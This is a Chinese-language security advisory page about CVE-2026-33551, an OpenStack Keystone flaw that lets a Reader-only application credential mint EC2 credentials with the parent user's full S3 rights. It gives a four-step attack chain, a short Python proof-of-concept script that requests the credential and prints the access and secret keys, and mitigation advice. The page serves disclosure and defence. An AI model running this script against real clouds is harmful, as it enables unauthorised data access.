IPBUF安全漏洞报告
English
CVE-2026-33551 CVSS 3.5 低危

CVE-2026-33551 OpenStack Keystone权限绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-33551
漏洞类型
权限提升
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenStack Keystone

相关标签

权限提升OpenStackKeystoneCVE-2026-33551Access ControlS3

漏洞概述

OpenStack Keystone 14至26版本(26.1.1之前)、27.0.0、28.0.0及29.0.0版本中存在权限绕过漏洞。该漏洞源于受限应用凭证在创建EC2凭证时的逻辑错误。攻击者若持有仅具备Reader角色的受限应用凭证,可利用EC2凭证创建API生成携带父用户完整S3权限的凭证。这导致攻击者成功绕过应用凭证施加的角色限制,在未授权的情况下获取高权限S3访问能力,对系统安全性构成威胁。

技术细节

CVE-2026-33551是OpenStack Keystone中的一个权限提升漏洞,核心问题在于身份验证服务对应用凭证与EC2凭证映射机制的处理不当。在受影响的版本中,Keystone允许使用受限的应用凭证来申请EC2兼容的访问凭证。理论上,新生成的EC2凭证应当继承并受限于应用凭证中预定义的角色范围(例如仅允许只读操作)。然而,由于代码逻辑缺陷,系统在生成EC2凭证时,错误地将父用户的完整S3权限集赋予了该凭证,而非应用凭证被限制的子集。利用此漏洞,一个仅拥有“reader”角色的低权限攻击者,可以通过发送特定的API请求创建EC2凭证,进而获取具备完全读写能力的S3访问密钥。这使得攻击者能够绕过云平台基于角色的访问控制(RBAC)策略,执行未授权的数据操作。该漏洞成功利用的前提是目标环境部署了EC2/S3兼容API(如swift3或s3api)并使用了受限应用凭证功能。

攻击链分析

STEP 1
1. 获取受限凭证
攻击者注册为一个普通用户,并申请一个受限的应用凭证,该凭证仅拥有Reader等低权限角色。
STEP 2
2. 发起恶意请求
攻击者使用该受限凭证的Token,向Keystone服务器的EC2凭证创建API发送POST请求。
STEP 3
3. 权限提升
由于漏洞存在,Keystone服务器返回一组新的EC2访问密钥,该密钥未继承受限凭证的权限,而是继承了父用户的完整S3权限。
STEP 4
4. 未授权访问
攻击者利用获取的高权限EC2密钥,通过S3 API对受限数据执行读写等未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33551: OpenStack Keystone Privilege Escalation # This script demonstrates how a restricted application credential # can be used to create a full-privilege EC2 credential. import requests import json # Configuration KEYSTONE_PUBLIC_URL = "https://your-openstack-api:5000/v3" # Token obtained from a restricted application credential (e.g., Reader role only) RESTRICTED_TOKEN = "gAAAAABk...restricted_token_here..." USER_ID = "1234567890abcdef1234567890abcdef" PROJECT_ID = "abcdef1234567890abcdef1234567890" def exploit_cve_2026_33551(): headers = { "X-Auth-Token": RESTRICTED_TOKEN, "Content-Type": "application/json", "Accept": "application/json" } # The endpoint to create EC2 credentials url = f"{KEYSTONE_PUBLIC_URL}/users/{USER_ID}/credentials/OS-EC2" payload = { "tenant_id": PROJECT_ID } print(f"[*] Attempting to create EC2 credential with restricted token...") print(f"[*] Target URL: {url}") try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 201: result = response.json() credential = result.get('credential', {}) access = credential.get('access') secret = credential.get('secret') print("[+] Success! EC2 Credential created.") print(f"[+] Access Key: {access}") print(f"[+] Secret Key: {secret}") print("[!] WARNING: This credential likely has full parent S3 permissions,") print("[!] bypassing the restrictions of the application credential.") else: print(f"[-] Failed to create credential. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": exploit_cve_2026_33551()

影响范围

OpenStack Keystone 14.0.0 - 26.1.0 (before 26.1.1)
OpenStack Keystone 27.0.0
OpenStack Keystone 28.0.0
OpenStack Keystone 29.0.0

防御指南

临时缓解措施
建议立即升级到修复了该漏洞的OpenStack Keystone版本。如果无法立即升级,应暂时禁用受限应用凭证功能,或者在网络层面限制对EC2/S3兼容API(swift3/s3api)的访问,直到补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表